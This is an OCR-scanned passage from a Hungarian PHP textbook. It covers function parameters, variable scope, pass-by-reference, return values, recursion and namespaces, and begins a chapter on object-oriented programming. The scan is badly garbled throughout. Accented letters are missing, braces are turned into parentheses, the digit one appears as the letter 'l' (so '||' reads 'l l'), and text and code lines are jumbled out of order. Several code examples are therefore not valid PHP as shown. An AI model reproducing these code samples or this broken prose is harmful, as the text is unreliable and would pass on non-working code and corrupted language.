Feladatuk vgrehajtshoz a fggvnyek tbbsge egy vagy tbb paramtert ignyel. A paramterekkel adatot adhatunk t a fggvnyeknek. Nzznk pldt paramtert vr fggvnyrel Az irt lthat fggvnynek egydimenzis tmbt adunk t, amit tblzatknt jelent meg:
function tablazat keszitese($adat) echo "<table border=\"1\">"; reset($adat); $ertek
=

ll Ezzel az utastssal mutatunk a tmb elejre

5
"

current($adat); {

while ($ertek)

echo "<tr><td>".$ertek."<ltd><ltr>\n"; $ertek


=

next($adat);

echo "<ltable>";

Amennyiben a kvetkezkppen hvjuk meg a tablazat_keszitese() fggvnyt:


$sajat_tomb
=

array('Els sor.', 'Msodik sor.', 'Harmadik sor.');

tablazat_keszitese($sajat_tomb);
az

5.4 brn lthat kimenetet kapjuk.

lr .':= ..: -fl:'Jtt:l

IF
adatokat adjuk a fggvnynek.

5.4 bra: A tablazat_kes zitese ( ) meghvsnak eredmnye az albbi HTML tblzat.

A paramtertadssal a fggvnyen kvl ltrehozort adatot vihernk a fggvnybe.Jelen esetben az $adat tmbben lv A beptert fggvnyekhez hasonlan a felhasznl ltal rt fggvnyek is fogadhatnak tbb paramtert, s lehetnek ezek kzt opcionlisak is. A tabla z at_keszitese() fggvnyt tbbflekppen tovbbfejleszthegk; az egyik lehetsg, ha a fggvnyt meghv programoz bellthatja a tblzat szeglyt vagy ms tulajdonsgt. Nzzk a fggvny egy bvtert vlrozatt, amely az elzhz hasonl, m lehetv teszi, hogy opcionlisan meghatrozzuk a tblzat szeglynek vastagsgt, illetve a cellk kztti tvolsg ( cellspacing) s a behzs (a cella szeglye s tartalma kztti tvolsg- cellpadding) rtkti

100

5. fejezet

<?php function tablazat keszitese2{$adat, $border=l, $cellpadding=4, $cellspacing=4 )

echo "<table border=\"".$border."\" cellpadding=\"".$cellpadding."\" cellspacing=\"".$cellspacing."\">"; reset{$adat); $ertek = current{$adat);


w

hile {$ertek)

echo "<tr><td>".$ertek."</td></tr>\n"; $ertek


=

next{$adat);

echo "</table>";

$sajat_tomb = array{'Els sor.', 'Msodik sor.', 'Harmadik sor.'); tablazat_keszitese2{$sajat_tomb,

3,

8,

8);

A tablazat_keszite se2{) els paramtere tovbbra is ktelez. A kvetkez hrom viszont opcionlis, mivel megha troztuk alaprtelmezett rtkeiket. Az 5.4 brn lthathoz hasonl kimenetet hozunk ltre a tablazat_keszitese2{) fggvny albbi meghvsval:
tablazat keszitese2{$sajat_tomb);

Ha ugyanezeket az adatokat szellsebben szetetnnk megjelenteni, a kvetkez paramterekkel kellene meghvni az j fggvnye:
tablazat_keszitese2{$sajat_tomb,

3,

8,

8);

Nem szksges rninden opcionlis rcket megadnunk; megtehecjk, hogy nmelyiket megadjuk, msikakat nem. A para mterek kiosztsa balrl jobbra trtnik. Ne feledjk: nem tehetjk meg azt, hogy az egyik opcionlis paramcert kihagyjuk, de egy attl jobbra es paramtert megadunk! Ha pldnkban szeretnnk megadni a cellspacing tulajdonsg rtkr, akkor a cellpadding rtkt sem

hagyhatjuk ki. Gyakori ez a programozsi hiba. Ez az oka annak is, hogy az opcionlis paramterek a paramterlista vgre kerlnek. Az albbi fggvnyhvs:
tablazat_keszitese2{$sajat_tomb,

3);

teljesen helyes, eredmnyekppen a$ border rckt 3-ra, a$ cellpadding s a $cellspacing tulajdonsgot pedig alaprtelmezett rckre llitjuk. Vltoz szm paramtert elfogad fggvnyeket is deklarlhatunk. Hrom segdfggvny hasznlatval derthetjk ki, hogy hny paramter tadsa trtnt meg, s rnik ezeknek az rtkei. E hrom segdfggvny a kvetkez: fune_num_
args{),func_get_arg{) sfunc_get_args{).

Gondoljuk vgig pldul az albbi fggvny mkdst:


function var_args{)

echo "Paramterek szma:"; echo func num_args{); echo "<br />"; $args = func_get_args{); foreach {$args as $arg) echo $arg."<br />";

A fggvny kzli a neki tadoct paramcerek szmt, illetve megjeleniti azokat. A fune_num_args{) fggvny az radott fggvnyek szmt, a fune_get_args{) fggvny pedig az argumentumok tmbjt adja vissza. A fune_get_arg{) fgg vnnyel egyenknt rhetjk el a paramtereket, mgpedig gy, hogy a fggvnynek az elrni kivnt argumentum szmt adjuk t. (Az argumentumok szmozsa nullval kezddik.)

A hatkr fogalma
szrevehecck, hogy arnikor beillesztett vagy begyazott fjlon bell kellett hasznlnunk a vltozkat, egyszeren a require{) vagy az inelude{) utasts eltt lv kdban deklarltuk azokat. Fggvny hasznlatakor kzvetlenl a fgg-

Kd tbbszri felhasznlsa s fggvnyrs

101

vnynek adtuk t a vltozkat, egyrszt azrt, mert nincsen mechanizmus arra, hogy explicit mdon adjunk t vltozkat beol vasott vagy begyazott fjlnak, msrszt pedig azrt, mert a vltozhatkr fggvnyek esetn mskppen mkdik. A vltoz hatkre szablyozza, hogy az adott vltoz hol lthat s hasznlhat. Az egyes programozsi nyelvek eltr szablyokat alkalmaznak a vltozk hatkrnek meghatrozsra. A PHP viszonylag egyszer szablyokat hasznl:

A fggvnyerr bell deklarlt vltozk hatkre a vltozkat deklarl urasrstl a fggvnyzr kapcsos zrjeiig ter jed. Ezt fggvnyszint hatkrnek (funcrion scope), az ilyen vltozkar pedig helyi vltozknak (local variable) nevezzk. A fggvnyeken kvl deklarlt vltozk hatkre a vltozkat deklarl utastsrl a fjl vgig terjed, de fggvnye ken bell nem lthatk. Ezt globlis hatkrnek (global scope), az ilyen vltozkat pedig globlis vltozknak (global variable) nevezzk. A klnleges szupergloblis vltozk fggvnyeken bell s kvl is lthatk. (Az ilyen vltozktl tovbbi informcit az els- PHP gyorstalpal cm- fejezerben tallunk.) A require () s az include ( ) utasts hasznlata nem befolysolja a harkrt. Ha az utasrsokat fggvnyerr bell acijuk k, a fggvnyszint hatkr lesz rvnyben. Amennyiben fggvnyerr kvl hasznljuk, a globlis hatkr lesz rvnyben. A global kulcsszval sajt kezleg llthatjuk be, hogy a ltrehozott vagy fggvnyerr bell hasznlt vltoz globlis harkrrel rendelkezzk. A vltozkat az un set ($valto z o_neve) fggvny meghvsval sajt kezleg trlhegk. Az gy kikapcsolt vltoz nak nincsen harkre.

Az albbi pldk mg egyrtelmebb tehetik a hatkr fogalmt. A kvetkez kdnak nincsen kimenete. Itt az fn () nev fggvnyben deklarlunk egy $var nev vltozt. Mivel fggv nyerr bell deklarljuk, a vltoz fggvnyszint hatkrrel br, s csak az azt deklarl utaststl a fggvny vgig ltezik. Ha a fggvnyerr kvl jrahivatkozunk a $var vltozra, egy jabb $var nev vltoz jn ltre. Ez az j vltoz globlis hatk
r, s a fjl vgig lthat. Ha csak az ech o utastst hasznljuk ezzel az j vltozval, akkor, sajnos, soha nem fog rtket kapni.
function fn ()

$var = "tartalom";

fn () ; echo $var;

5
{
\$var = ".$var."<br />"; \$var = ".$var."<br />";

A kvetkez plda ennek fordtorga. Itt a fggvnyerr kvl deklarljuk a vltozt, majd megprbljuk a fggvnyerr bell hasznlni:
<?

function fn ( )

echo "fggvnyen bell, $var echo


= n

"tartalom 2"; fggvnyerr bell,

$var fn ();

"tartalom

l";
\$var ".$var."<br />";

echo "fggvnyen kivl,

E kd kimenere a kvetkez:
fggvnyerr bell, fggvnyerr bell, fggvnyerr kivl, $var $var $var
= =

tartalom 2 tartalom

l
=

A fggvnyek meghvsukig nem hajcdnak vgre, gy az els vgrehajtott utasts a $var

'tartalom l';. Ez a $var

nev, globlis hatkr s "tartalom l" tartalm vltozt hozza ltre. A kvetkezknt vgrehajtott utasts az fn () fggvny meghvsa. A fggvnyerr belli sorok sorban hajtdnak vgre. A fggvnyben az els sor a $var nev vltozra ural. E sor vgrehajtdskor nem lthatja a korbban ltrehozort $var vlrozt, gy ltrehoz egy j, fggvnyszint vltozt, s megjelenti azt. gy jn ltre a kimenet els sora. A fggvnyerr belli kvetkez sor a $var tartalmt

tartalom 2 -re lltja. Mivel fggvnyerr bell vagyunk, ez a sor

a helyi, nem pedig a globlis $var rtkt vltoztatja meg. A kimenet msodik sora tanstja, hogy a vltoztats megrrtnt. A fggvny ezzel vget rt, gy a kd utols sora hajtdik vgre. Az itt lv echo utasts mutatja, hogy a globlis vltoz rtke nem mdosulr. Ha azt szerernnk, hogy egy fggvnyben ltrehozott vltoz globlis legyen, a global kulcsszr kell hasznlnunk az alb biak szerint:

102

5. fejezet

function fn () global $var; $var

"tartalom"; \$var ".$var."<br

echo "fggvnyen bell,

/>";

fn(); echo "fggvnyen kivl, \$var = ".$var."<br />";

Ebben a pldban a $var vltozt kifejezetten globlisknt definiltuk, ami azt jelenti, hogy a fggvny meghvsa utn a vltoz a fggvnyerr kivl is ltezik. A kd kimenere a kvetkez lesz:
fggvnyerr bell, fggvnyerr kivl, $var
=

tartalom

$var = tartalom

Ne feledjk, hogy a vltoz hatkre a g lobal $var;

sor vgrehajtsa utn kezddik! A fggvnyt meghvsa fltt s

alatt is deklarlhatjuk. (A fggvnyek hatkre egyltaln nem gy mkdik, mint a vltozk.) A fggvny deklarlsnak helye lnyegtelen; ami szmt, hogy hol hvjuk meg a fggvnyt, s ezltal hol hajtjuk vgre a benne lev kdot. A global kulcsszt azon kd elejn is alkalmazhatjuk, ahol a vltozt elszr hasznljuk, hogy ezzel deklarljuk: a vlto z hatkre az egsz kdra kiterjed. Ez a kulcssz hasznlatnak taln leggyakoribb mdja. Az elz pldkbl kiolvashattuk, hogy elmletileg semmilyen problmt nem okoz, hogy ugyanazt a vltoznevet fggv nyen bell s fggvnyen kivl, kt klnbz vltoznak adjuk. Azonban mgsem clszer ezt tenni, mert kdunk gondos vgigolvassa s a hatkr tgondolsa nlkl msok azt felttelezhetik, hogy a kt vltoz egy s ugyanaz.

Cm s rtk szerinti paramtertads


Ha egy noveles () nev, rtknvel fggvnyre lenne szksgnk, elkpzelhet, hogy a kvetkezkppen prblnnk megrni:
function noveles ($ertek, $mennyiseg
=

l)

$ertek = $ertek +$mennyiseg;

Ennek a kdnak semmilyen haszna nincsen, hiszen a kvetkez pldakd kimenere l O lesz:
$ertek
=

10;

noveles($ertek); echo $ertek;

Az $ertek rtke a hatkr szablyai rniatt nem vltozott. A fenti kd ltrehoz egy $ertek nev vltozt, amelynek rtke
10. Ezt kveten meghvja a noveles () fggvnyt. A fggvnyen belli $ertek vltoz a fggvny meghvsakor jn ltre.

A fggvny hozzad egyet, gy az $ertek rtke a fggvnyen bell lllesz a fggvny vgig; ezt kveten visszatrnk a fgg vnyt meghv kdhoz. Az ebben a kdban lv $ertek egy msik, globlis hatkr vltoz, amelynek gy nem vltozott az rtke. A problma egyik lehetsges megoldsa, ha globlisknt deklarljuk a fggvnyben az $ertek vltozt, de ez azt jelenti, hogy a fggvny hasznlathoz a megnveini kvnt vltoznak $ertek nevnek kellene lennie. A fggvnyparamterek meghvsnak ltalnos mdja az rtkszerinti paramtertads (pass by value). Paramter tadsa kor egy j, az radott vltoz rtkt tartalmaz vltoz jn ltre. Ez az eredeti msolata. Tetszs szerint mdosthatjuk ennek rtkr, de az eredeti, a fggvnyen kvli vltoz rtke vltozadan marad. (Valjban ez enyhe leegyszerstse annak, amit a PHP tnylegesen vgez.) Ennl jobb megkzelts azonban a cmszerinti paramtertads (pass by reference). Ebben az esetben paramtertadskor a fggvny - j vltoz ltrehozsa helyett - az eredeti vltozra mutat hivatkozst kap. Ez a hivatkozs egy dollrjellel ( $ ) kezdd vltoznvvel br, s brmilyen ms vltozhoz hasonlan hasznlhat. A klnbsg annyi, hogy sajt rtke nem lvn pusztn hivatkozik az eredeti vltozra. A hivatkozsen vgrehajtott minden mdosts az eredeti vltozt is rinti. A cm szerinti paramtertadshoz s (&) jelet helyeznk a fggvny definilsakor a paramter neve el. A fggvnymegh vs ugyangy trtnik. Ha az elz noveles () fggvnyt gy mdostjuk, hogy az egyik paramtertads cm szerint trtnik, mris hibtlanul mkdik:
function noveles(&$ertek, $mennyiseg
=

l)

$ertek = $ertek +$mennyiseg;

Kd tbbszri felhasznlsa s fggvnyrs

103

Immr mkd fggvnynk van,s a megnveini kvnt vltoznak tetszs szerinri nevet adhatunk. Ahogy korbban em ltettk,zavar lehet az emberek szmra,ha ugyanazt a nevet hasznljuk fggvnyen bell s kvl, ezrt adjunk a f kdrsz letben lv vltoznak j nevet! A kvetkez pldakd a neveles () meghvsa eltt 10-et, utna azonban ll-et r ki:
$a =

10;

echo $a. '<br />'; noveles($a); echo $a. '<br />';

A r e t u r n kulcss2; has2;nlata
A return kulcssz meglltja a fggvny vgrehajtst. Amikor egy fggvny vget r- vagy azrt, mert minden benne lv
utasts vgrehajtdott, vagy a return kulcssz hasznlata miatt-,a vgrehajts visszatr a fggvnyhvs utni utastsra.

Ha meghvjuk a kvetkez fggvnyt,csak az els


function teszt return

ech o utasts hajtdik vgre:

()

echo "Ez az utasits vgrehajtdik"; return; echo "Ez az utasits soha nem fog vgrehajtdni";

Nyilvnvalan ez nem tl rtelmes mdja a return hasznlatnak. Normlis esetben csak adott felttel teljeslse esetn kvnunk a fggvny kzepn kilpni. Amikor pldul olyan fggvnyt runk,amelyik meghatrozza,hogy kt szm kzl melyik nagyobb,rdemes lehet kilpni, ha brmely szm hinyzik:
function nagyobb( $x, if ( $y )

{
kt szmra van szksg.";

(! isset($x)) l l

(! isset($y))) {

echo "Ehhez a return;

fggvnyhez

if ($x>=$y) echo $x."<br/">; else echo $y."<br/">;

Az isset() beptett fggvny kzli,hogy az adott vltoz ltre lett-e hozva,illetve rendelkezik-e rtkkel. A kd hiba zenetet ad s visszatr, ha a paramterek brmelyikhez nem rendeltek rtket. Ezt az
1

isset () hasznlatval ellenrizzk,

amelynek jelentse,.NEM isset ();gy az if utasts a kvetkezkppen olvashat:,.ha x nem ltezik, vagy y nem ltezik:'

Ha ezek brmelyike teljesl,a fggvny kilp. A


return utasts vgrehajtsa esetn a fggvnyben utna kvetkez sorok nem hajtdnak vgre. A programvgrehajts

visszatr a fggvny meghvsnak pontjra. Ha mindkt paramter ltezik,a fggvny kirja a kett kzl a nagyobbat. Az albbi kd:
$a =

l;

$b =

2.5;
$b); $a); $a);

$c =

1.9;

nagyobb($a, nagyobb($c, nagyobb($d,

kmenete a kvetkez:

2.5 1.9
Ehhez a fggvnyhez kt szmra van szksg.

rtkvisszaads fggvnyekbl
A return hasznlatnak nem a fggvnyekbl val kilps az egyetlen oka. Sok fggvny return utastsokkal kommu
nikl az ket meghv kddal. A nagyobb () fggvny valamivel hasznosabb lenne, ha a benne lv sszehasonlts eredm nynek kirsa helyett a vlaszt adn vissza. Ekkor a fggvnyt meghv kd eldnthern, hogy megjelenti vagy felhasznlja az eredmnyt, illetve hogyan teszi mindezt. Az ennek megfelel max() beptett fggvny is gy mkdik.

104

5. fejezet

A nagyobb() fggvnyt a kvetkezkppen is megrhatjuk:


function nagyobb($x, $y) { if ((!isset($x)) ll return false; else if ($x>=$y) return $x; else {!isset($y)))

return $y;

Itt a fggvny a kt tadoct rtk kzl a nagyobbat adja vissza. Hiba esetn nyilvnvalan ms rtkkel tr vissza. Ha br melyik szm hinyzik, visszatrsi rtke hamis. (Ennl a megkzetsnl a fggvnyt meghv programoznak=== oper torral kell ellenriznie a visszaadott rtk tpust, hogy a hamis rtker ne keverje ssze a nullval.) sszehasonltskppen: a max() beptett fggvny semmit nem ad vissza, ha egyik vltoz sem ltezik, ha pedig csak az egyik ltezik, akkor azt adja vissza. Az albbi kd:
$a = l; $b = 2.5; $c = 1.9; $b). '<br />'; echo nagyobb($a, echo nagyobb($c, echo nagyobb($d,

$a). '<br />'; $a). '<br />';

a kvetkez kimenetet eredmnyezi, mivel a $d nem ltezik, s a false nem lthat:


2.5 1.9

Az olyan fggvnyek, amelyek valamilyen feladatot vgrehajtanak, de rtket nem kell visszaadniuk, gyakran true vagy
false visszatrsi rtkkel jelzik, hogy sikerlt-e a feladatot vgrehajtaniuk. A true s false, azaz igaz s hamis boole-i

rtk az l, illetve O egsz rtkkel is jelkpezhet, br ezek ms tpusak.

Rekurzi megvalstsa
A PHP tmogatja a rekurzv fggvnyeket. Rekurzv fggvnyeknek az nmagukat meghv fggvnyeket nevezzk. Klnsen hasznosak az olyan dinamikus adatszerkezetekben val naviglshoz, mint a lncolt lisrk s a fk. Mindazonltal kevs webes alkalmazs ignyel ilyen sszetettsg adatszerkezetet, gy kevs esetben fogjuk a rekurzinak hasznt venni. Sok esetben hasznlharunk iterci helyett rekurzit, mert mindkt folyamat lehetv teszi, hogy ismtlden hajtsunk vgre valamit. A rekurzv fggvnyek azonban lassabbak, s tbb memrir hasznlnak, mint az iterci, ezrt ahol csak lehetsges, rdemes ez utbbi mellett dnteni. A teljessg kedvrt tekintsk t az 5.5 pldakdban lv, rvid pldt!
5.5 pldakd: rekurz i o. php
<?php

Karakterlnc megfordtsa rekurzival s itercival

function fordit r($str) if (strlen($str)>0)

{ l));

fordit_r(substr($str,

echo substr($str, return;

0,

l);

function fordit i($str) for ($i=l;

{ $i++)

$i<=strlen($str); -$i,

echo substr($str,

l);

return;

Kd tbbszri felhasznlsa s fggvnyrs

105

fordit r('Hello');

fordit_i('Hello');

Az 5.5 pldakd kt fggvnyt hoz ltre. Mindkett fordtva rja ki a neki radott karakterlncot. A rekurzv, a A
fordit _i

ford i t_r

() fggvny

() pedig iterav.

fordit_r()

fggvny karakterlncot fogad paramterknt. Meghvsakor meghvja sajt magt, minden egyes alkalom

mal a karakterlnc msodiktl az utolsig terjed karaktereit tadva. Ha pldul a


fordit_r('Hello');

fggvnyt hvjuk meg. tbbszr meghvja sajt magt az albbi paramterekkel:


fordit_r('ello'); fordit_r('llo'); fordit_r (' lo'); fordit_r('o'); fordit_r('');

A fggvny minden egyes sajt meghvsa a fggvny kdjnak jabb msolatt hozza ltre a szerver memrijban, minden esetben azonban ms paramterrel. Olyan, mintha azt tettetnnk, hogy minden alkalommal egy msik fggvnyt hvunk meg. Ezzel elzi meg. hogy a fggvny pldnyai sszekeveredhessenek. Minden meghvsnl teszteli az tadoct karakterlnc hosszt. Amikor elrjk a szering vgt ( strlen ()==0), a felttel nem teljesl. Ekkor a fggvny legutols pldnya

( fordit_r('') ) tovbblp, s vgrehajtja a kvetkez kdsort, amely kirja


fordit_r ('o')

a neki radott karakterlnc els karaktert; jelen esetben nincs ilyen karakter, mivel a karakterlnc res. Ezt kveten ezen fggvnypldny visszaadja a vezrlse az t meghv pldnynak, jelesen a nek. Ez kirja a karakterlncnak" "o -

fggvny

els karaktert, majd ez is visszaadja a vezrlse az t meghv pldnynak.

A folyamat- egy karakter kirsa, majd visszatrs a meghvsi sorrendben felette lv fggvnypldnyhoz- mindaddg folytatdik, amg a vezrls vissza nem tr a f programhoz. A rekurzv megoldsok bizonyos szempontbl nagyon elegnsak s matematikaiak. A legtbb esetben azonban jobban jrunk az iteratv megolds vlasztsval. Egy ilyennek a kdjt is lthatjuk az 5.5 pldakdban. Megfigyelhetjk, hogy nem hosszabb (br ez nem minden esetre lesz igaz), s pontosan ugyanazt teszi. A legfontosabb klnbsg. hogy a rekurzv fggv nyek msolatot ksztenek maguktl a memriba, s tbb fggvnyhvssal terhelik a szervert. Abban az esetben dnthetnk a rekurzv megolds mellett, arnikor a kclja sokkal rvidebb s elegnsabb, mint az iterav vltozat, de ez az ltalunk ksztett alkalmazsok esetn viszonylag ritkn fog elfordulni. Br a rekurzi elegnsabbnak hat, a programozk gyakran elfelejtik megadni hozz a zr felttelt. Ennek eredmnyekppen a fggvny a maximlis vgrehajtsi id elrsig vagy a szerver memrijnak elfogysig ismddik.

Nvterek
A nvtr (namespace) ltalnossgban azonosrk csoportjt tartalmaz absztrakt trol; PHP-ben ez azt jelenti, hogy a nv terekben az ltalunk meghatrozott fggvnyeket, llandkat s osztlyokat trolhatjuk. Rendezsi s szervezsi szempontbl szmos elnnyel jr, ha az ltalunk definilt fggvnyekhez s osztlyokhoz nvtereket hozunk ltre: Az ugyanabban a nvtrben lv minden fggvny, osztly s lland eltagknt automatikusan megkapja a nvtr nevt. A nem minstett osztly-, fggvny s llandnevek feloldsa futsidben trtnik, s a keress elszr a nvtrben megy vgbe, csak utna a globlis trben. A nvterek PHP-beli hasznlatrl tovbbi informcit, illetve gyakorlati pldkat tallunk a PHP kziknyvnek hrtp://www.php.net/language.namespaces cmen elrhet rszben.

Tovbbi olvasnival
Az include(), require(),
function

s return utasts hasznlatt az online kziknyv is rszletesen bemutatja. Ha

szeretnnk mlyebben megismerni az olyan, tbb nyelvet rint fogalmakat, mint a rekurzi, a cm s rtk szerinti tads vagy a hatkr, rdemes fellapozni egy j ltalnos informatikai szakknyvet, pldul Paul Deitel s Harvey Deitel C++ How to
Program cm kiadvnyt

106

5. fejezet

Hogyan tovbb:
Mivel mr kpesek vagyunk a kdunkat kezelhetbb s jrahasznlhatv tev fjlbeillesztsekkel s fggvnyekkel dolgozni, a kvetkez fejezetben megismerkednk az objektumorientlt programozssal, illetve annak PHP-beli tmogatsvaL Objek tumok hasznlatval az ebben a fejezetben bemutatott fogalmakhoz hasonl clokat rhetnk el, m sszetett projektek esetn az objektumok tovbbi elnyket knlnak szmunkra.

5
_

6
Objektumorientlt PHP
A fejezet az objektumorientlt

(00) fejleszts fogalmait ismerteti meg. illetve bemutatja PHP-beli megvalstsukat.

A PHP a teljes mrtkben objektumorientlt programozsi nyelvektl elvrt minden ilyen funkcit nyjtani kpes. Ahogy vgighaladunk a fejezeten, e funkcik mindegyikt egyenknt bemutatjuk. Az albbi fbb tmakrket trgyalj uk: Objektumorientlt programozsi fogalmak Osztlyok, attribtumok s metdusok Osztlytulajdonsgok Osztlyon belli konstansok Osztlymetdus hvsa rklds Hozzfrs-mdosrk

Statikus metdusok Tpusjelzs Ksi statikus ktsek Objektumklnozs Elvont osztlyok Osztlytervezs Osztlytervnk megvalsrsa Halad objektumorientlt funkcik

Ismerkeds az objektumorientlt programozs fogalmaival


Amodern programozsi nyelvek jellemzerr tmogatjk, st akr meg is kvetelik a szoftverfejleszts objektumorientlt meg kzeltst. Az objektumorientlt programozs a rendszeren lv objektumok osztlyozsainak, kapcsolarainak s tulajdons gainak felhasznlsval segti a programfejlesztst, s teszi lehetv a kd tbbszri felhasznlst.

Osztlyok s objektumok
Objektumorientlt programozsban objektum szinte brmilyen elem vagy fogalom lehet - fizikailag ltez objektum, pldul asztal vagy gyfl; vagy kizrlag szoftverben ltez fogalmi objektum, pldul szvegbevireli terlet vagy fjl. ltalnossgban
az

olyan objektumok fognak bennnket leginkbb rdekeini - legyenek azok vals vilgbeli vagy fogalmi objektumok-, ame Az objektumorientlt programot nll (se!f-contained), az elvrsainknak megfelelen viselked tulajdonsgokkal s

lyeker valamikppen jelkpezni kell a programban. mvelecekkel rendelkez objektumok halmazaknt tervezzk meg s ptjk fel. Az attribtumok (attribute) az objektummal kapcsolatban ll tulajdonsgok vagy vltozk. A mveletek (operation) az objektum olyan metdusai, eljrsai vagy fggvnyei, amelyeket vgrehajtva az objektum kpes sajt magt mdostani vagy valamilyen kls hatst elrni. (Az attribtum kifejezs sel egyenrtk a tagvltoz s a tulajdonsg, a mvelet kifejezssel pedig a metdus.) Az objektumorientlt programozs egyik legfbb elnye a zrtsg (encapsulacion) tmogatsa s sztnzse. (Adatrejtsknt (data hiding) is szoks hivatkozni erre az elvre.) Ez lnyegben annyit tesz, hogy egy objektumorr belli adathoz csak az objek tum mvelecein, ms szval interfszn (interface) kereszrl lehet hozzfrni. Brmely objektum mkdse az ltala hasznlt adatokra korltozdik. Az objektum megvalsrst szablyoz rszletek mdostsval egyszeren nvelhecjk a teljestmnyt, adhatunk programunkhoz j funkcikat, vagy vgezhecjk el pldul a hibakeresst - s mindez az interfsz megvltoztatsa nlkl is lehetsges. Az interfsz megvltoztatsa az egsz projekten vgig-

108

6.

fejezer

gyrz hatst vlchar ki, de a zrrsg elve garanrlja, hogy a projekt tbbi rszr rinredenl hagyva hajtsuk vgre vlroztat sainkar, s kijavtsuk hibinkar. A szofrverfejleszrs egyb terlerein az objektumorientlt programozs az alap - a procedurlis vagy strukrurlr program elavulrnak tekinrett. A webes kdok nagy rszt azonban mg mindig a strukturlt mdszerrant kvet ad hoc megkzeltssel tervezik s rjk. Szmos oka van ezen megkzelts hasznlatnak. A webes projektek nagy rsze viszonylag kicsi s egyszer. Mindennem tervezs nlkl foghatjuk a frszt, s elkszrhetnk egy fa fszertartt, s kis mretkbl addan ugyanilyen sikeresen be fejezhetjk a webes programozsi feladataink tbbsgt is. Ha azonban megragadjuk a frszt, majd minden elzetes tervezs nlkli megprblunk felpteni egy hzat, minden bizonnyal gyatra vgeredmnnyel zrjuk a munkt, mr ha egyltaln br milyen vgeredmnyrl beszlhetnk. Ugyanez igaz a nagy szofrverprojektekre is. Sok olyan webes projektrl rudunk, amely egymsra mutat oldalak halmazbl fejldtt komplex alkalmazss. Az sz szetett alkalmazsok - mindegy, hogy prbeszdablakokon vagy dinamikusan ellltott HTML oldalakon keresztl tekintjk meg ket - kellen tgondolt fejlesztsi mdszert ignyelnek. Az objekrumorientlt programozssal knnyebben kezelhetjk az sszetett projekteket, elsegti kdjaink tbbszri felhasznlhatsgt, s ezltal programjaink mkdtetsi kltsgei is cskkenrhetk. Objektumorienrlt programozs esetn az objekrum eltrolt adatok s az azokon az adarokon mkd mveletek egyedi s azonosthat gyjtemnye. Lehet, pldul, a gombokat jelkpez kt objekrumunk. Mg ha mindkettnek OK is a felirata, 60 kppont szlesek s 20 kppont magasak, s minden ms tulajdonsguk is megegyezik, akkor is tudnunk kell kezelni ket. Programozskor kln vltozk mkdnek az objektumok kezeljekne (handle), vagyis egyedi azonostjaknr. Az objektumok osztlyokba csoporrosrhatk. Az osztlyok egyenknt eltr, m valamilyen szempontbl egyforma objektu mok csoportjt jelkpezik. Egy adott osztly olyan objektumokat tarralmaz, amelyek ugyangy mkd, egyforma mveletekkel s ugyanazt jelent, egyforma tulajdonsgokkal rendelkeznek, noha e tulajdonsgok rckei objekrumonknt eitrk tehernek. Gondoljunk a bicikli fnvre a kzs funkcikkal vagy tulajdonsgokkal (pldul kt kerk, szn s mret) s mveletekkel (pldul mozgs) rendelkez, klnbz kerkprokat ler objektumok osztlyaknt l A szerz biciklijre gondolhatunk gy, mint egy, a bicikli osztlyba ill objektumra. Rendelkezik az sszes biciklire jellemz, kzs funkcikkal, kztk a moz gs mvelettel, amely a tbbi bicikli mozgshoz hasonlan mkdik - csak ppen a tbbi biciklinl taln kicsit ritkbban. Ennek a bringnak a tulajdonsgai egyedi rrkekkel rendelkeznek, merr a bicikli zld, s nem mindegyik kerkpr ilyen szn.

Tbbalaksg

Az objektumorientlt programozsi nyelveknek tmogarniuk kell a tbbalaksgot (polymorphism), ami azt jelenti, hogy a k lnbz osztlyok eltr viselkedsekkel rendelkezhetnek ugyanarra a mveletre. Ha pldul a bicikli osztly mellett aut osz tlyunk is van, mindkettnek kell, hogy legyen a msiktl eltr mozgs mvelete. Vals objektumok esetn ez aligha okozhat problmt. A biciklik nem valszn, hogy sszezavarodnak, s egy aut mozgs mveletvel prblnak meg elindulni. Progra mozsi nyelvben azonban nem mindig szmthatunk a vals vilg jzan eszre, gy a nyelvnek tmogatnia kell a tbbalaksgot, hogy tudjuk, mely mozgs mveletet alkalmazzuk egy adott objekrumon. A tbbalaksg jellemzbb a viselkedsekre, mint az objekrumokra. PHP-ben csak az osztly tagfggvnyei leheenek tbbalakak. Egy vals vilgbl vett plda erre az emberi nyelv igi, amelyek ilyen szempontbl a tagfggvnyek megfeleli. Gondoljuk vgig, a valsgban mit tehetnk egy kerkprral l Sok egyb mellett takarrhatjuk, mozgarhatjuk, sztszerelhetjk, megjavrhatjuk vagy lefesrhetjk. Ezek az igk ltalnos cselekedeteket rnak le, mert nem tudjuk, hogy milyen tpus objektumra alkalmazzuk ket. (Az ob jektumok s mveletek ilyen tpus absztrakcija az emberi intelligencia egyik megklnbztet eleme.) Egy kerkpr mozga tsa pldul teljesen msmilyen mveleteket ignyel, mint egy aut mozgatsa, br ezek alapjaikban egyez fogalmak. A mozgat ige csak akkor trsthat konkrt mveletekkel, ha tudjuk, hogy milyen objektumon kvnjuk alkalmazni.

rklds
Az rklds (inheritance) lehetv teszi, hogy a/osztlyok (subclass) hasznlatval hierarchikus kapcsolatot hozzunk ltre osztlyok kztt. Az alosztly rkli az alaposztly (superclass) tulajdonsgait s mveleteit. Az autnak s a biciklinek vannak kzs vonsai. Pldul egy jrm nev osztlyban trolhatjuk azokat a dolgokat, amelyekkel nnden jrm rendelkezik (pld ul szn, tulajdonsg s mozgs mvelet), majd az aut s a bicikli osztlyt rkthetjk a jrmbL Az alosztly, a szrmaztatott osztly (clerived class) s a gyerek (child) kifejezs ugyanazt jelenti. Hasonlkppen az alaposz tly s aszl (parent) jelentse is megegyezik.

Objektumorientlt PHP

109

rkldssei pthernk meglv osztlyokra, illetve kiegszthetjk azokat. Egy egyszer alaposztlybl sszetettebb s specializltabb osztlyokat szrmaztathatunk, ha szksgnk van rjuk. Ez a lehetsg mg inkbb jrafelhasznlhatv teszi kdunkat, ami az objektumorientlt megkzelts egyik legfbb elnye. Az rkldssei munkt takarthatunk meg azltal, hogy a mveleteket elegend egy alaposztlyban egyszer megrni, s gy nem kell az egyes alosztlyokkal egyenknt bbeldni. A vals vilgbeli kapcsolatok pontosabb modellezst is lehetv teszi. Ha brmely kt osztly esetben rtelmes a"... egy ..." mondat, akkor az rkldsnek minden bizonnyal van lgogosultsga .

Az aut egy jrm:' mondat rtelmes, de"A jrm egy aut:' nem, mert nem minden jrm aut. gy az aut rkthet a jr

mbL

Osztlyok, attribtumok s metdusok ltrehozsa PHPben


Ez idig igen elvont mdon trgyaltunk az osztlyokrL Amikor PHP-ben ltrehozunk egyet, a
class kulcsszt hasznljuk.

Osztlyszerkezet
A legegyszerbb osztlydefinci gy nz ki:
class osztalynev

